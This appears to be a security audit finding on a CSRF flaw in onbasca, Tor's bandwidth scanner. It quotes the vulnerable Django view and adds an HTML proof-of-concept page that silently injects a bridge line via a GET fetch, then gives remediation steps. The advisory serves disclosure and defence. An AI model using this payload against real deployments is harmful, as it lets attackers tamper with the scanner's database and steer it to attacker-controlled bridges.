TOR-008 Pen-torproject#8: onbasca - CSRF via GET allows adding bridges on production configuration
The commit did not fix the vulnerability because the bridge line is still passed via HTTP GET, which prevents Django Middleware's CSRF protection from taking effect.
The Onion Bandwidth Scanner (onbasca), suffers from a Cross-Site Request Forgery (CSRF) vulnerability via HTTP GET. As a result, pre-authenticated attackers can inject bridges into the database.
Threat level: High
Technical description:
The create_bridges view parses the bridges passed via HTTP GET to bridge_lines and stores them in a database via the _create_bridge function.
In tpo/network-health/onbasca/onbrisca/views.py/views.py:
@csrf_exempt
def create_bridges(request):
[...]
if not request.method == "GET":
return JsonResponse(response_data, status=403) # Forbidden
if request.content_type == "application/json":
data = json.loads(request.body)
else:
data = dict(request.GET)
bridge_lines = data.get("bridge_lines", None)
[...]
for bridge_line in bridge_lines:
bridge_result = _create_bridge(bridge_line, mu, muf, bridge_ratio)
[...]
return response
The bridgescan command measures the bandwidth of the bridges stored in the database. For this Django management command, a bridgescan daemon is shipped as a systemd service file during the installation of onbasca.
In tpo/network-health/onbasca/onbrisca/management/commands/bridgescan.py:
class Command(OnbascaCommand):
def handle(self, *args, **options):
scanner = BridgeScanner.load()
scanner.init(port=config.EXTERNAL_CONTROL_PORT)
scanner.run()
The set_bridgelines method obtains all bridges from the database via the bridges parameter, including the attacker's previously added bridges. In the next step, the newly injected bridges are used to connect to the Tor network.
In tpo/network-health/onbasca/onbrisca/bridge_torcontrol.py:
class BridgeTorControl(TorControl):
def set_bridgelines(self, bridges):
bridgelines = Bridge.objects.bridgelines_from_bridges(bridges)
# Obtain first the bridges already set to do not set duplicated bridges
tor_bridgelines = self.controller.get_conf("Bridge", multiple=True)
new_bridgelines = set(bridgelines).difference(set(tor_bridgelines))
if new_bridgelines:
self.controller.set_conf("Bridge", new_bridgelines)
self.controller.set_conf("UseBridges", "1")
Proof of Concept
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Nothing to see here :)</title>
</head>
<body>
<script>
function poc(){
try {
const response = fetch("http://127.0.0.1:8000/bridge-state/?
bridge_lines=obfs4+0.0.0.0%3A00000+AAA+cert%3D0+iat-mode%3D0");
if (!response.ok) {
alert("Network response was not OK");
}
} catch (error) {
alert("error")
console.error("There has been a problem with your fetch operation:", error);
}
}
</script>
<input type="button" value="RUN POC!" onclick="poc()"/>
</body>
</html>
Impact:
Attackers can lure Directory Authorities victims to their site and perform a successful CSRF attack as soon the victim's browser runs in the same network as onbasca. This is the case when the victim uses the Django web interface. As a result, pre-authenticated attackers can inject attacker-controlled IPs into the database. When the bridgescan command is invoked, which runs regularly, the onbasca application will connect to the attacker-controlled bridge. By doing this, attackers may be able to daemonize the hosted instance of onbasca or carry out further attacks.
Since onbasca is similar to the bandwidth scanner implementation of sbws, it's highly likely that onbasca is also affected by finding TOR-028.
Recommendation:
- Accept the bridge line via request.POST only, so the HTTP request must be a POST request.
- Then remove the @csrf_exempt decorator.
- Finally, enable the default Django CSRF middleware.
Editing to add more information from the auditor's report.